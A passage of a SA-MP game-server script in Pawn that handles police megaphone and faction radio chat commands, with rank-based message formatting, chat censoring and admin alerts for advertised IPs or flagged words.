							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "[FBI Leader %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri.  >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri.  >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[N.G Leader %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 22 || PlayerInfo[playerid][pLeader] == 22)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[Swat Leader %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

						else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[SFPD Leader %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[HQ Commander %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Command Sergeant Major %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Director of Raids %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Training Commander %s:o< Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Specialist %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Agent %s:o< Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
					//	strmid(Megaphonetext[playerid], 0, 255);
				}

				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/mjarime", true) == 0 || strcmp(cmd, "/mj", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Mjarime <Playerid/PartOfName>");
					return 1;
				}
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
				new playerveh = GetPlayerVehicleID(playa);
				new vehicles = GetVehicleModel(playerveh) - 400;
				if(!IsPlayerInAnyVehicle(playa)) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't in any vehicle.");
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has received your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player didnt received your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s:o< Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan jarime ro pardakht kon. >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						*/
						/*else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "[FBI Leader %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid.  >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid.  >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid.  >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid.  >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[N.G Leader %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid.  >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 22 || PlayerInfo[playerid][pLeader] == 22)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[Swat Leader %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid.  >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][playa], aVehicleNames[vehicles]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

						else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[SFPD Leader %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[HQ Commander %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Command Sergeant Major %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Director of Raids %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Training Commander %s:o< Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Specialist %s:o<  Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Agent %s:o< Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Khod ra harekat dahid va be kenare khiaban bebarid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						} */
						/*
					//	strmid(Megaphonetext[playerid], 0, 255);
				}

				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		*/
		/*
		// Map Click??? Seriously?? :D by Sina
		if(!strcmp(cmd,"/mapclick",true))
	{
		if(PINFO[playerid][pAdmin] >= 6)
		{
			if(maptpallow[playerid] == 0) {
			SCM(playerid,COLOR_SINA2,"[MapClickTeleporterFeature]:{00FF00} Enabled{FFFFFF}.");
			SCM(playerid,COLOR_SINA2,"NOTE: Now you can select where do you like in map with ESC > MAP > Select any where with right click.");
			AllowPlayerTeleport(playerid,1);
			maptpallow[playerid] = 1;
			}
			else {
			SCM(playerid,COLOR_SINA2,"[MapClickTeleporterFeature]:{FF0000} Disabled{FFFFFF}.");
		  AllowPlayerTeleport(playerid,0);
			maptpallow[playerid] = 0;
			}
		}
		return 1;
	}
	// End
	*/
		// =========================[ /M e Police Ha End]====================
	//----------------------------------[Team]-----------------------------------------------
		if(strcmp(cmd, "/radio", true) == 0 || strcmp(cmd, "/r", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
	   new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/r)adio <radio chat>");
					return 1;
				}
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				if(PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pLeader] == 1)
				{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "** PD Leader {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** Chief {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** Colonel {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** Captain {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** Sergeant {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** Police Officer {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** Soldier {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					SendRadioMessage(1, COLOR_BLUE, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}PD-/R{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					  }
				}
					//printf("%s", string);
					return 1;
				}
				else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
				{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "** FBI Leader {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** Director {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** Deputy Director {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** Unit Chief {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** Supervisory Special Agent {FFFFFF}%s{3385ff}(radio): %s{3385ff}, {0080FF}over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** Special Agent {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** New Agent Trainee {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					SendRadioMessage(2, COLOR_BLUE, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}FBI-/R{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					  }
				}
					//printf("%s", string);
					return 1;
				}
				else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
				{
						if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "** NG Leader {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** Marshal {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** Sergeant Major {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** Master Sergeant {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** Sergeant {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
